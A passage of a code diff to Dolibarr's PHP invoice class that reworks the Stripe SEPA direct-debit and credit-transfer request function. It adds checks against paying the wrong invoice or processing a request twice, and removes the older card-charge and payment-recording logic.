CompanyBankAccount($this->db); // table societe_rib $result = $bac->fetch(0, $this->socid, 1, 'ban'); if ($result <= 0 || empty($bac->id)) { $this->error = $langs->trans("ThirdpartyHasNoDefaultBanAccount"); @@ -882,11 +912,19 @@ abstract class CommonInvoice extends CommonObject return -1; } - $sql = "SELECT rowid, date_demande, amount, fk_facture, fk_facture_fourn"; + // Load the request to process + $sql = "SELECT rowid, date_demande, amount, fk_facture, fk_facture_fourn, fk_prelevement_bons"; $sql .= " FROM ".$this->db->prefix()."prelevement_demande"; $sql .= " WHERE rowid = ".((int) $did); + if ($type != 'bank-transfer' && $type != 'credit-transfer') { + $sql .= " AND fk_facture = ".((int) $this->id); // Add a protection to not pay another invoice than current one + } + if ($type != 'direct-debit') { + $sql .= " AND fk_facture_fourn = ".((int) $this->id); // Add a protection to not pay another invoice than current one + } + $sql .= " AND traite = 0"; // Add a protection to not process twice - dol_syslog(get_class($this)."::makeStripeSepaRequest 1", LOG_DEBUG); + dol_syslog(get_class($this)."::makeStripeSepaRequest load requests to process", LOG_DEBUG); $resql = $this->db->query($sql); if ($resql) { $obj = $this->db->fetch_object($resql); @@ -895,30 +933,16 @@ abstract class CommonInvoice extends CommonObject return -2; } - // + // amount to pay $amount = $obj->amount; - $now = dol_now(); - - $totalpaye = $this->getSommePaiement(); - $totalcreditnotes = $this->getSumCreditNotesUsed(); - $totaldeposits = $this->getSumDepositsUsed(); - //print "totalpaye=".$totalpaye." totalcreditnotes=".$totalcreditnotes." totaldeposts=".$totaldeposits; - - // We can also use bcadd to avoid pb with floating points - // For example print 239.2 - 229.3 - 9.9; does not return 0. - //$resteapayer=bcadd($this->total_ttc,$totalpaye,$conf->global->MAIN_MAX_DECIMALS_TOT); - //$resteapayer=bcadd($resteapayer,$totalavoir,$conf->global->MAIN_MAX_DECIMALS_TOT); - $amounttocheck = price2num($this->total_ttc - $totalpaye - $totalcreditnotes - $totaldeposits, 'MT'); - - // TODO We can compare $amount and $amounttocheck - if (is_numeric($amount) && $amount != 0) { require_once DOL_DOCUMENT_ROOT.'/societe/class/companypaymentmode.class.php'; - $companypaymentmode = new CompanyPaymentMode($this->db); + $companypaymentmode = new CompanyPaymentMode($this->db); // table societe_rib $companypaymentmode->fetch($bac->id); // Start code for Stripe + // TODO We may have this coming as a parameter from the caller. $service = 'StripeTest'; $servicestatus = 0; if (!empty($conf->global->STRIPE_LIVE) && !GETPOST('forcesandbox', 'alpha')) { @@ -926,26 +950,27 @@ abstract class CommonInvoice extends CommonObject $servicestatus = 1; } - dol_syslog("makeStripeSepaRequest amount = ".$amount." service=" . $service . " servicestatus=" . $servicestatus . " thirdparty_id=" . $this->socid . " companypaymentmode=" . $companypaymentmode->id); + dol_syslog("makeStripeSepaRequest amount = ".$amount." service=" . $service . " servicestatus=" . $servicestatus . " thirdparty_id=" . $this->socid." did=".$did); $this->stripechargedone = 0; $this->stripechargeerror = 0; + $now = dol_now(); $currency = $conf->currency; global $stripearrayofkeysbyenv; - global $savstripearrayofkeysbyenv; $errorforinvoice = 0; // We reset the $errorforinvoice at each invoice loop $this->fetch_thirdparty(); - dol_syslog("--- Process invoice thirdparty_id=" . $this->id . ", thirdparty_name=" . $this->thirdparty->name . " id=" . $this->id . ", ref=" . $this->ref . ", datef=" . dol_print_date($this->date, 'dayhourlog'), LOG_DEBUG); + dol_syslog("--- Process payment request thirdparty_id=" . $this->thirdparty->id . ", thirdparty_name=" . $this->thirdparty->name . " ban id=" . $bac->id, LOG_DEBUG); - $alreadypayed = $this->getSommePaiement(); - $amount_credit_notes_included = $this->getSumCreditNotesUsed(); - $amounttopay = $this->total_ttc - $alreadypayed - $amount_credit_notes_included; + //$alreadypayed = $this->getSommePaiement(); + //$amount_credit_notes_included = $this->getSumCreditNotesUsed(); + //$amounttopay = $this->total_ttc - $alreadypayed - $amount_credit_notes_included; + $amounttopay = $amount; // Correct the amount according to unit of currency // See https://support.stripe.com/questions/which-zero-decimal-currencies-does-stripe-support @@ -955,166 +980,111 @@ abstract class CommonInvoice extends CommonObject $amountstripe = $amountstripe * 100; } - if ($amountstripe > 0) { - try { - //var_dump($companypaymentmode); - dol_syslog("We will try to pay with companypaymentmodeid=" . $companypaymentmode->id . " stripe_card_ref=" . $companypaymentmode->stripe_card_ref . " mode=" . $companypaymentmode->status, LOG_DEBUG); + $fk_bank_account = getDolGlobalInt('STRIPE_BANK_ACCOUNT_FOR_PAYMENTS'); // Bank account used for SEPA direct debit or credit transfer. Must be the Stripe account in Dolibarr. + if (!($fk_bank_account > 0)) { + $error++; + $errorforinvoice++; + dol_syslog("Error no bank account defined for Stripe payments", LOG_ERR); + $this->errors[] = "Error bank account for Stripe payments not defined into Stripe module"; + } - $thirdparty = new Societe($this->db); - $resultthirdparty = $thirdparty->fetch($this->socid); + $this->db->begin(); - include_once DOL_DOCUMENT_ROOT . '/stripe/class/stripe.class.php'; // This include the include of htdocs/stripe/config.php - // So it inits or erases the $stripearrayofkeysbyenv - $stripe = new Stripe($this->db); - - if (empty($savstripearrayofkeysbyenv)) { - $savstripearrayofkeysbyenv = $stripearrayofkeysbyenv; + // Create a prelevement_bon + $bon = new BonPrelevement($this->db); + if (!$error) { + if (empty($obj->fk_prelevement_bons)) { + // This create record into llx_prelevment_bons and update link with llx_prelevement_demande + $nbinvoices = $bon->create(0, 0, 'real', 'ALL', '', 0, $type, $did, $fk_bank_account); + if ($nbinvoices <= 0) { + $error++; + $errorforinvoice++; + dol_syslog("Error on BonPrelevement creation", LOG_ERR); + $this->errors[] = "Error on BonPrelevement creation"; } - dol_syslog("makeStripeSepaRequest Current Stripe environment is " . $stripearrayofkeysbyenv[$servicestatus]['publishable_key']); - dol_syslog("makeStripeSepaRequest Current Saved Stripe environment is " . $savstripearrayofkeysbyenv[$servicestatus]['publishable_key']); + /* + if (!$error) { + // Update the direct debit payment request of the processed request to save the id of the prelevement_bon + $sql = "UPDATE ".MAIN_DB_PREFIX."prelevement_demande SET"; + $sql .= " fk_prelevement_bons = ".((int) $bon->id); + $sql .= " WHERE rowid = ".((int) $did); - $foundalternativestripeaccount = ''; - - // Force stripe to another value (by default this value is empty) - if (!empty($thirdparty->array_options['options_stripeaccount'])) { - dol_syslog("makeStripeSepaRequest The thirdparty id=" . $thirdparty->id . " has a dedicated Stripe Account, so we switch to it."); - - $tmparray = explode('@', $thirdparty->array_options['options_stripeaccount']); - if (!empty($tmparray[1])) { - $tmparray2 = explode(':', $tmparray[1]); - if (!empty($tmparray2[3])) { - $stripearrayofkeysbyenv = [ - 0 => [ - "publishable_key" => $tmparray2[0], - "secret_key" => $tmparray2[1] - ], - 1 => [ - "publishable_key" => $tmparray2[2], - "secret_key" => $tmparray2[3] - ] - ]; - - $stripearrayofkeys = $stripearrayofkeysbyenv[$servicestatus]; - \Stripe\Stripe::setApiKey($stripearrayofkeys['secret_key']); - - $foundalternativestripeaccount = $tmparray[0]; // Store the customer id - - dol_syslog("We use now customer=" . $foundalternativestripeaccount . " publishable_key=" . $stripearrayofkeys['publishable_key'], LOG_DEBUG); - } + $result = $this->db->query($sql); + if ($result < 0) { + $error++; + $this->errors[] = "Error on updateing fk_prelevement_bons to ".$bon->id; } + } + */ + } else { + $error++; + $errorforinvoice++; + dol_syslog("Error Line already part of a bank payment order", LOG_ERR); + $this->errors[] = "The line is already included into a bank payment order. Delete the bank payment order first."; + } + } - if (!$foundalternativestripeaccount) { - $stripearrayofkeysbyenv = $savstripearrayofkeysbyenv; + if (!$error) { + if ($amountstripe > 0) { + try { + //var_dump($companypaymentmode); + dol_syslog("We will try to pay with companypaymentmodeid=" . $companypaymentmode->id . " stripe_card_ref=" . $companypaymentmode->stripe_card_ref . " mode=" . $companypaymentmode->status, LOG_DEBUG); - $stripearrayofkeys = $savstripearrayofkeysbyenv[$servicestatus]; - \Stripe\Stripe::setApiKey($stripearrayofkeys['secret_key']); - dol_syslog("We found a bad value for Stripe Account for thirdparty id=" . $thirdparty->id . ", so we ignore it and keep using the global one, so " . $stripearrayofkeys['publishable_key'], LOG_WARNING); - } - } else { - $stripearrayofkeysbyenv = $savstripearrayofkeysbyenv; + $thirdparty = new Societe($this->db); + $resultthirdparty = $thirdparty->fetch($this->socid); - $stripearrayofkeys = $savstripearrayofkeysbyenv[$servicestatus]; + include_once DOL_DOCUMENT_ROOT . '/stripe/class/stripe.class.php'; // This include the include of htdocs/stripe/config.php + // So it inits or erases the $stripearrayofkeysbyenv + $stripe = new Stripe($this->db); + + dol_syslog("makeStripeSepaRequest Current Stripe environment is " . $stripearrayofkeysbyenv[$servicestatus]['publishable_key']); + + $stripearrayofkeys = $stripearrayofkeysbyenv[$servicestatus]; \Stripe\Stripe::setApiKey($stripearrayofkeys['secret_key']); - dol_syslog("The thirdparty id=" . $thirdparty->id . " has no dedicated Stripe Account, so we use global one, so " . json_encode($stripearrayofkeys), LOG_DEBUG); - } - dol_syslog("makeStripeSepaRequest get stripe account", LOG_DEBUG); - $stripeacc = $stripe->getStripeAccount($service, $this->socid); // Get Stripe OAuth connect account if it exists (no network access here) - dol_syslog("makeStripeSepaRequest get stripe account return " . json_encode($stripeacc), LOG_DEBUG); + dol_syslog("makeStripeSepaRequest get stripe connet account", LOG_DEBUG); + $stripeacc = $stripe->getStripeAccount($service, $this->socid); // Get Stripe OAuth connect account if it exists (no network access here) + dol_syslog("makeStripeSepaRequest get stripe connect account return " . json_encode($stripeacc), LOG_DEBUG); - if ($foundalternativestripeaccount) { - if (empty($stripeacc)) { // If the Stripe connect account not set, we use common API usage - $customer = \Stripe\Customer::retrieve(['id' => "$foundalternativestripeaccount", 'expand[]' => 'sources']); - } else { - $customer = \Stripe\Customer::retrieve(['id' => "$foundalternativestripeaccount", 'expand[]' => 'sources'], ["stripe_account" => $stripeacc]); - } - } else { $customer = $stripe->customerStripe($thirdparty, $stripeacc, $servicestatus, 0); if (empty($customer) && !empty($stripe->error)) { $this->errors[] = $stripe->error; } - /*if (!empty($customer) && empty($customer->sources)) { - $customer = null; - $this->errors[] = '\Stripe\Customer::retrieve did not returned the sources'; - }*/ - } - // $nbhoursbetweentries = (empty($conf->global->SELLYOURSAAS_NBHOURSBETWEENTRIES) ? 49 : $conf->global->SELLYOURSAAS_NBHOURSBETWEENTRIES); // Must have more that 48 hours + 1 between each try (so 1 try every 3 daily batch) - // $nbdaysbeforeendoftries = (empty($conf->global->SELLYOURSAAS_NBDAYSBEFOREENDOFTRIES) ? 35 : $conf->global->SELLYOURSAAS_NBDAYSBEFOREENDOFTRIES); - $labeltouse = ''; - $postactionmessages = []; + // $nbhoursbetweentries = (empty($conf->global->SELLYOURSAAS_NBHOURSBETWEENTRIES) ? 49 : $conf->global->SELLYOURSAAS_NBHOURSBETWEENTRIES); // Must have more that 48 hours + 1 between each try (so 1 try every 3 daily batch) + // $nbdaysbeforeendoftries = (empty($conf->global->SELLYOURSAAS_NBDAYSBEFOREENDOFTRIES) ? 35 : $conf->global->SELLYOURSAAS_NBDAYSBEFOREENDOFTRIES); + $postactionmessages = []; - if ($resultthirdparty > 0 && !empty($customer)) { - if (!$error && !empty($this->array_options['options_delayautopayment']) && $this->array_options['options_delayautopayment'] > $now && empty($calledinmyaccountcontext)) { - $errmsg = 'Payment try was canceled (invoice qualified by the automatic payment was delayed after the ' . dol_print_date($this->array_options['options_delayautopayment'], 'day') . ')'; - dol_syslog($errmsg, LOG_DEBUG); + if ($resultthirdparty > 0 && !empty($customer)) { + if (!$error) { // Payment was not canceled + $stripecard = null; + if ($companypaymentmode->type == 'ban') { + // Check into societe_rib if a payment mode for Stripe and ban payment exists + // To make a Stripe SEPA payment request, we must have the payment mode source already saved into societe_rib and retreived with ->sepaStripe + // The payment mode source is created when we create the bank account on Stripe with paymentmodes.php?action=create + $stripecard = $stripe->sepaStripe($customer, $companypaymentmode, $stripeacc, $servicestatus, 0); + } else { + $error++; + $this->error = 'The payment mode type is not "ban"'; + } - $error++; - $errorforinvoice++; - $this->errors[] = $errmsg; - } + if ($stripecard) { // Can be src_... (for sepa) or pm_... (new card mode). Note that card_... (old card mode) should not happen here. + $FULLTAG = 'DID='.$did.'-INV=' . $this->id . '-CUS=' . $thirdparty->id; + $description = 'Stripe payment from makeStripeSepaRequest: ' . $FULLTAG . ' did='.$did.' ref=' . $this->ref; - if (!$error) { // Payment was not canceled - //erics card or sepa ? - $sepaMode = false; - if ($companypaymentmode->type == 'ban') { - $sepaMode = true; - $stripecard = $stripe->sepaStripe($customer, $companypaymentmode, $stripeacc, $servicestatus, 0); - } else { - $stripecard = $stripe->cardStripe($customer, $companypaymentmode, $stripeacc, $servicestatus, 0); - } + $stripefailurecode = ''; + $stripefailuremessage = ''; + $stripefailuredeclinecode = ''; - if ($stripecard) { // Can be card_... (old mode) or pm_... (new mode) - $FULLTAG = 'INV=' . $this->id . '-CUS=' . $thirdparty->id; - $description = 'Stripe payment from doTakePaymentStripeForThirdparty: ' . $FULLTAG . ' ref=' . $this->ref; - - $stripefailurecode = ''; - $stripefailuremessage = ''; - $stripefailuredeclinecode = ''; - - if (preg_match('/^card_/', $stripecard->id)) { // Using old method - dol_syslog("* Create charge on card " . $stripecard->id . ", amountstripe=" . $amountstripe . ", FULLTAG=" . $FULLTAG, LOG_DEBUG); - - $ipaddress = getUserRemoteIP(); - - $charge = null; // Force reset of $charge, so, if already set from a previous fetch, it will be empty even if there is an exception at next step - try { - $charge = \Stripe\Charge::create([ - 'amount' => price2num($amountstripe, 'MU'), - 'currency' => $currency, - 'capture' => true, // Charge immediatly - 'description' => $description, - 'metadata' => ["FULLTAG" => $FULLTAG, 'Recipient' => $mysoc->name, 'dol_version' => DOL_VERSION, 'dol_entity' => $conf->entity, 'ipaddress' => $ipaddress], - 'customer' => $customer->id, - //'customer' => 'bidon_to_force_error', // To use to force a stripe error - 'source' => $stripecard, - 'statement_descriptor' => dol_trunc('INV=' . $this->id, 10, 'right', 'UTF-8', 1), // 22 chars that appears on bank receipt (company + description) - ]); - } catch (\Stripe\Error\Card $e) { - // Since it's a decline, Stripe_CardError will be caught - $body = $e->getJsonBody(); - $err = $body['error']; - - $stripefailurecode = $err['code']; - $stripefailuremessage = $err['message']; - $stripefailuredeclinecode = $err['decline_code']; - } catch (Exception $e) { - $stripefailurecode = 'UnknownChargeError'; - $stripefailuremessage = $e->getMessage(); - } - } else { // Using new SCA method - if ($sepaMode) { - dol_syslog("* Create payment on SEPA " . $stripecard->id . ", amounttopay=" . $amounttopay . ", amountstripe=" . $amountstripe . ", FULLTAG=" . $FULLTAG, LOG_DEBUG); - } else { - dol_syslog("* Create payment on card " . $stripecard->id . ", amounttopay=" . $amounttopay . ", amountstripe=" . $amountstripe . ", FULLTAG=" . $FULLTAG, LOG_DEBUG); - } + // Using new SCA method + dol_syslog("* Create payment on SEPA " . $stripecard->id . ", amounttopay=" . $amounttopay . ", amountstripe=" . $amountstripe . ", FULLTAG=" . $FULLTAG, LOG_DEBUG); // Create payment intent and charge payment (confirmnow = true) - $paymentintent = $stripe->getPaymentIntent($amounttopay, $currency, $FULLTAG, $description, $invoice, $customer->id, $stripeacc, $servicestatus, 0, 'automatic', true, $stripecard->id, 1); + $paymentintent = $stripe->getPaymentIntent($amounttopay, $currency, $FULLTAG, $description, $this, $customer->id, $stripeacc, $servicestatus, 0, 'automatic', true, $stripecard->id, 1, 1, $did); $charge = new stdClass(); - //erics add processing sepa is like success ? + if ($paymentintent->status === 'succeeded' || $paymentintent->status === 'processing') { $charge->status = 'ok'; $charge->id = $paymentintent->id; @@ -1146,451 +1116,205 @@ abstract class CommonInvoice extends CommonObject //var_dump("stripefailurecode=".$stripefailurecode." stripefailuremessage=".$stripefailuremessage." stripefailuredeclinecode=".$stripefailuredeclinecode); //exit; - } - // Return $charge = array('id'=>'ch_XXXX', 'status'=>'succeeded|pending|failed', 'failure_code'=>, 'failure_message'=>...) - if (empty($charge) || $charge->status == 'failed') { - dol_syslog('Failed to charge card or payment mode ' . $stripecard->id . ' stripefailurecode=' . $stripefailurecode . ' stripefailuremessage=' . $stripefailuremessage . ' stripefailuredeclinecode=' . $stripefailuredeclinecode, LOG_WARNING); - // Save a stripe payment was in error - $this->stripechargeerror++; + // Return $charge = array('id'=>'ch_XXXX', 'status'=>'succeeded|pending|failed', 'failure_code'=>, 'failure_message'=>...) + if (empty($charge) || $charge->status == 'failed') { + dol_syslog('Failed to charge payment mode ' . $stripecard->id . ' stripefailurecode=' . $stripefailurecode . ' stripefailuremessage=' . $stripefailuremessage . ' stripefailuredeclinecode=' . $stripefailuredeclinecode, LOG_WARNING); - $error++; - $errorforinvoice++; - $errmsg = $langs->trans("FailedToChargeCard"); - if (!empty($charge)) { - if ($stripefailuredeclinecode == 'authentication_required') { - $errauthenticationmessage = $langs->trans("ErrSCAAuthentication"); - $errmsg = $errauthenticationmessage; - } elseif (in_array($stripefailuredeclinecode, ['insufficient_funds', 'generic_decline'])) { - $errmsg .= ': ' . $charge->failure_code; - $errmsg .= ($charge->failure_message ? ' - ' : '') . ' ' . $charge->failure_message; - if (empty($stripefailurecode)) { - $stripefailurecode = $charge->failure_code; - } - if (empty($stripefailuremessage)) { - $stripefailuremessage = $charge->failure_message; - } - } else { - $errmsg .= ': failure_code=' . $charge->failure_code; - $errmsg .= ($charge->failure_message ? ' - ' : '') . ' failure_message=' . $charge->failure_message; - if (empty($stripefailurecode)) { - $stripefailurecode = $charge->failure_code; - } - if (empty($stripefailuremessage)) { - $stripefailuremessage = $charge->failure_message; - } - } - } else { - $errmsg .= ': ' . $stripefailurecode . ' - ' . $stripefailuremessage; - $errmsg .= ($stripefailuredeclinecode ? ' - ' . $stripefailuredeclinecode : ''); - } + // Save a stripe payment was in error + $this->stripechargeerror++; - $description = 'Stripe payment ERROR from doTakePaymentStripeForThirdparty: ' . $FULLTAG; - $postactionmessages[] = $errmsg . ' (' . $stripearrayofkeys['publishable_key'] . ')'; - $this->errors[] = $errmsg; - } else { - dol_syslog('Successfuly charge card ' . $stripecard->id); - - $postactionmessages[] = 'Success to charge card (' . $charge->id . ' with ' . $stripearrayofkeys['publishable_key'] . ')'; - - // Save a stripe payment was done in realy life so later we will be able to force a commit on recorded payments - // even if in batch mode (method doTakePaymentStripe), we will always make all action in one transaction with a forced commit. - $this->stripechargedone++; - - // Default description used for label of event. Will be overwrite by another value later. - $description = 'Stripe payment OK (' . $charge->id . ') from doTakePaymentStripeForThirdparty: ' . $FULLTAG; - - $db = $this->db; - - $ipaddress = getUserRemoteIP(); - - $TRANSACTIONID = $charge->id; - $currency = $conf->currency; - $paymentmethod = 'stripe'; - $emetteur_name = $charge->customer; - - // Same code than into paymentok.php... - - $paymentTypeId = 0; - if ($paymentmethod == 'paybox') { - $paymentTypeId = $conf->global->PAYBOX_PAYMENT_MODE_FOR_PAYMENTS; - } - if ($paymentmethod == 'paypal') { - $paymentTypeId = $conf->global->PAYPAL_PAYMENT_MODE_FOR_PAYMENTS; - } - if ($paymentmethod == 'stripe') { - $paymentTypeId = $conf->global->STRIPE_PAYMENT_MODE_FOR_PAYMENTS; - } - if (empty($paymentTypeId)) { - //erics - if ($sepaMode) { - $paymentType = 'PRE'; - } else { - $paymentType = $_SESSION["paymentType"]; - if (empty($paymentType)) { - $paymentType = 'CB'; - } - } - $paymentTypeId = dol_getIdFromCode($this->db, $paymentType, 'c_paiement', 'code', 'id', 1); - } - - $currencyCodeType = $currency; - - $ispostactionok = 1; - - // Creation of payment line - include_once DOL_DOCUMENT_ROOT . '/compta/paiement/class/paiement.class.php'; - $paiement = new Paiement($this->db); - $paiement->datepaye = $now; - $paiement->date = $now; - if ($currencyCodeType == $conf->currency) { - $paiement->amounts = [$this->id => $amounttopay]; // Array with all payments dispatching with invoice id - } else { - $paiement->multicurrency_amounts = [$this->id => $amounttopay]; // Array with all payments dispatching - - $postactionmessages[] = 'Payment was done in a different currency than currency expected of company'; - $ispostactionok = -1; - // Not yet supported, so error $error++; $errorforinvoice++; - } - $paiement->paiementid = $paymentTypeId; - $paiement->num_paiement = ''; - $paiement->num_payment = ''; - // Add a comment with keyword 'SellYourSaas' in text. Used by trigger. - $paiement->note_public = 'StripeSepa payment ' . dol_print_date($now, 'standard') . ' using ' . $paymentmethod . ($ipaddress ? ' from ip ' . $ipaddress : '') . ' - Transaction ID = ' . $TRANSACTIONID; - $paiement->note_private = 'StripeSepa payment ' . dol_print_date($now, 'standard') . ' using ' . $paymentmethod . ($ipaddress ? ' from ip ' . $ipaddress : '') . ' - Transaction ID = ' . $TRANSACTIONID; - $paiement->ext_payment_id = $charge->id . ':' . $customer->id . '@' . $stripearrayofkeys['publishable_key']; - $paiement->ext_payment_site = 'stripe'; - - if (!$errorforinvoice) { - dol_syslog('* Record payment for invoice id ' . $this->id . '. It includes closing of invoice and regenerating document'); - - // This include closing invoices to 'paid' (and trigger including unsuspending) and regenerating document - $paiement_id = $paiement->create($user, 1); - if ($paiement_id < 0) { - $postactionmessages[] = $paiement->error . ($paiement->error ? ' ' : '') . join("
      \n", $paiement->errors); - $ispostactionok = -1; - $error++; - $errorforinvoice++; - } else { - $postactionmessages[] = 'Payment created'; - } - - dol_syslog("The payment has been created for invoice id " . $this->id); - } - - if (!$errorforinvoice && isModEnabled('banque')) { - dol_syslog('* Add payment to bank'); - - $bankaccountid = 0; - if ($paymentmethod == 'paybox') { - $bankaccountid = $conf->global->PAYBOX_BANK_ACCOUNT_FOR_PAYMENTS; - } - if ($paymentmethod == 'paypal') { - $bankaccountid = $conf->global->PAYPAL_BANK_ACCOUNT_FOR_PAYMENTS; - } - if ($paymentmethod == 'stripe') { - $bankaccountid = $conf->global->STRIPE_BANK_ACCOUNT_FOR_PAYMENTS; - } - - if ($bankaccountid > 0) { - $label = '(CustomerInvoicePayment)'; - if ($this->type == Facture::TYPE_CREDIT_NOTE) { - $label = '(CustomerInvoicePaymentBack)'; - } // Refund of a credit note - $result = $paiement->addPaymentToBank($user, 'payment', $label, $bankaccountid, $emetteur_name, ''); - if ($result < 0) { - $postactionmessages[] = $paiement->error . ($paiement->error ? ' ' : '') . join("
      \n", $paiement->errors); - $ispostactionok = -1; - $error++; - $errorforinvoice++; + $errmsg = $langs->trans("FailedToChargeCard"); + if (!empty($charge)) { + if ($stripefailuredeclinecode == 'authentication_required') { + $errauthenticationmessage = $langs->trans("ErrSCAAuthentication"); + $errmsg = $errauthenticationmessage; + } elseif (in_array($stripefailuredeclinecode, ['insufficient_funds', 'generic_decline'])) { + $errmsg .= ': ' . $charge->failure_code; + $errmsg .= ($charge->failure_message ? ' - ' : '') . ' ' . $charge->failure_message; + if (empty($stripefailurecode)) { + $stripefailurecode = $charge->failure_code; + } + if (empty($stripefailuremessage)) { + $stripefailuremessage = $charge->failure_message; + } } else { - $postactionmessages[] = 'Bank transaction of payment created (by doTakePaymentStripeForThirdparty)'; + $errmsg .= ': failure_code=' . $charge->failure_code; + $errmsg .= ($charge->failure_message ? ' - ' : '') . ' failure_message=' . $charge->failure_message; + if (empty($stripefailurecode)) { + $stripefailurecode = $charge->failure_code; + } + if (empty($stripefailuremessage)) { + $stripefailuremessage = $charge->failure_message; + } } } else { - $postactionmessages[] = 'Setup of bank account to use in module ' . $paymentmethod . ' was not set. No way to record the payment.'; - $ispostactionok = -1; - $error++; - $errorforinvoice++; + $errmsg .= ': ' . $stripefailurecode . ' - ' . $stripefailuremessage; + $errmsg .= ($stripefailuredeclinecode ? ' - ' . $stripefailuredeclinecode : ''); } - } - if ($ispostactionok < 1) { - $description = 'Stripe payment OK (' . $charge->id . ' - ' . $amounttopay . ' ' . $conf->currency . ') but post action KO from doTakePaymentStripeForThirdparty: ' . $FULLTAG; + $description = 'Stripe payment ERROR from makeStripeSepaRequest: ' . $FULLTAG; + $postactionmessages[] = $errmsg . ' (' . $stripearrayofkeys['publishable_key'] . ')'; + $this->errors[] = $errmsg; } else { - $description = 'Stripe payment+post action OK (' . $charge->id . ' - ' . $amounttopay . ' ' . $conf->currency . ') from doTakePaymentStripeForThirdparty: ' . $FULLTAG; + dol_syslog('Successfuly request '.$type.' '.$stripecard->id); + + $postactionmessages[] = 'Success to request '.$type.' (' . $charge->id . ' with ' . $stripearrayofkeys['publishable_key'] . ')'; + + // Save a stripe payment was done in realy life so later we will be able to force a commit on recorded payments + // even if in batch mode (method doTakePaymentStripe), we will always make all action in one transaction with a forced commit. + $this->stripechargedone++; + + // Default description used for label of event. Will be overwrite by another value later. + $description = 'Stripe payment request OK (' . $charge->id . ') from makeStripeSepaRequest: ' . $FULLTAG; } - } - $object = $invoice; + $object = $this; - // Send emails - $labeltouse = 'InvoicePaymentSuccess'; - $sendemailtocustomer = 1; - - if (empty($charge) || $charge->status == 'failed') { - $labeltouse = 'InvoicePaymentFailure'; - if ($noemailtocustomeriferror) { - $sendemailtocustomer = 0; - } // $noemailtocustomeriferror is set when error already reported on myaccount screen - } - - // Track an event - if (empty($charge) || $charge->status == 'failed') { - $actioncode = 'PAYMENT_STRIPE_KO'; - $extraparams = $stripefailurecode; - $extraparams .= (($extraparams && $stripefailuremessage) ? ' - ' : '') . $stripefailuremessage; - $extraparams .= (($extraparams && $stripefailuredeclinecode) ? ' - ' : '') . $stripefailuredeclinecode; + // Track an event + if (empty($charge) || $charge->status == 'failed') { + $actioncode = 'PAYMENT_STRIPE_KO'; + $extraparams = $stripefailurecode; + $extraparams .= (($extraparams && $stripefailuremessage) ? ' - ' : '') . $stripefailuremessage; + $extraparams .= (($extraparams && $stripefailuredeclinecode) ? ' - ' : '') . $stripefailuredeclinecode; + } else { + $actioncode = 'PAYMENT_STRIPE_OK'; + $extraparams = ''; + } } else { - $actioncode = 'PAYMENT_STRIPE_OK'; + $error++; + $errorforinvoice++; + dol_syslog("No ban payment method found for this stripe customer " . $customer->id, LOG_WARNING); + $this->errors[] = 'Failed to get direct debit payment method for stripe customer = ' . $customer->id; + + $description = 'Failed to find or use the payment mode - no ban defined for the thirdparty account'; + $stripefailurecode = 'BADPAYMENTMODE'; + $stripefailuremessage = 'Failed to find or use the payment mode - no ban defined for the thirdparty account'; + $postactionmessages[] = $description . ' (' . $stripearrayofkeys['publishable_key'] . ')'; + + $object = $this; + + $actioncode = 'PAYMENT_STRIPE_KO'; $extraparams = ''; } } else { - $error++; - $errorforinvoice++; - dol_syslog("No card or payment method found for this stripe customer " . $customer->id, LOG_WARNING); - $this->errors[] = 'Failed to get card | payment method for stripe customer = ' . $customer->id; + // If error because payment was canceled for a logical reason, we do nothing (no event added) + $description = ''; + $stripefailurecode = ''; + $stripefailuremessage = ''; - $labeltouse = 'InvoicePaymentFailure'; - $sendemailtocustomer = 1; - if ($noemailtocustomeriferror) { - $sendemailtocustomer = 0; - } // $noemailtocustomeriferror is set when error already reported on myaccount screen + $object = $this; - $description = 'Failed to find or use the payment mode - no credit card defined for the customer account'; - $stripefailurecode = 'BADPAYMENTMODE'; - $stripefailuremessage = 'Failed to find or use the payment mode - no credit card defined for the customer account'; - $postactionmessages[] = $description . ' (' . $stripearrayofkeys['publishable_key'] . ')'; - - $object = $invoice; - - $actioncode = 'PAYMENT_STRIPE_KO'; + $actioncode = ''; $extraparams = ''; } - } else { - // If error because payment was canceled for a logical reason, we do nothing (no email and no event added) - $labeltouse = ''; - $sendemailtocustomer = 0; + } else { // Else of the if ($resultthirdparty > 0 && ! empty($customer)) { + if ($resultthirdparty <= 0) { + dol_syslog('SellYourSaasUtils Failed to load customer for thirdparty_id = ' . $thirdparty->id, LOG_WARNING); + $this->errors[] = 'Failed to load Stripe account for thirdparty_id = ' . $thirdparty->id; + } else { // $customer stripe not found + dol_syslog('SellYourSaasUtils Failed to get Stripe customer id for thirdparty_id = ' . $thirdparty->id . " in mode " . $servicestatus . " in Stripe env " . $stripearrayofkeysbyenv[$servicestatus]['publishable_key'], LOG_WARNING); + $this->errors[] = 'Failed to get Stripe account id for thirdparty_id = ' . $thirdparty->id . " in mode " . $servicestatus . " in Stripe env " . $stripearrayofkeysbyenv[$servicestatus]['publishable_key']; + } + $error++; + $errorforinvoice++; - $description = ''; - $stripefailurecode = ''; - $stripefailuremessage = ''; + $description = 'Failed to find or use your payment mode (no payment mode for this customer id)'; + $stripefailurecode = 'BADPAYMENTMODE'; + $stripefailuremessage = 'Failed to find or use your payment mode (no payment mode for this customer id)'; + $postactionmessages = []; - $object = $invoice; + $object = $this; - $actioncode = ''; + $actioncode = 'PAYMENT_STRIPE_KO'; $extraparams = ''; } - } else { // Else of the if ($resultthirdparty > 0 && ! empty($customer)) { - if ($resultthirdparty <= 0) { - dol_syslog('SellYourSaasUtils Failed to load customer for thirdparty_id = ' . $thirdparty->id, LOG_WARNING); - $this->errors[] = 'Failed to load customer for thirdparty_id = ' . $thirdparty->id; - } else { // $customer stripe not found - dol_syslog('SellYourSaasUtils Failed to get Stripe customer id for thirdparty_id = ' . $thirdparty->id . " in mode " . $servicestatus . " in Stripe env " . $stripearrayofkeysbyenv[$servicestatus]['publishable_key'], LOG_WARNING); - $this->errors[] = 'Failed to get Stripe customer id for thirdparty_id = ' . $thirdparty->id . " in mode " . $servicestatus . " in Stripe env " . $stripearrayofkeysbyenv[$servicestatus]['publishable_key']; + + if ($description) { + dol_syslog("* Record event for credit transfer or direct debit request result - " . $description); + require_once DOL_DOCUMENT_ROOT.'/comm/action/class/actioncomm.class.php'; + + // Insert record of payment (success or error) + $actioncomm = new ActionComm($this->db); + + $actioncomm->type_code = 'AC_OTH_AUTO'; // Type of event ('AC_OTH', 'AC_OTH_AUTO', 'AC_XXX'...) + $actioncomm->code = 'AC_' . $actioncode; + $actioncomm->label = $description; + $actioncomm->note_private = join(",\n", $postactionmessages); + $actioncomm->fk_project = $this->fk_project; + $actioncomm->datep = $now; + $actioncomm->datef = $now; + 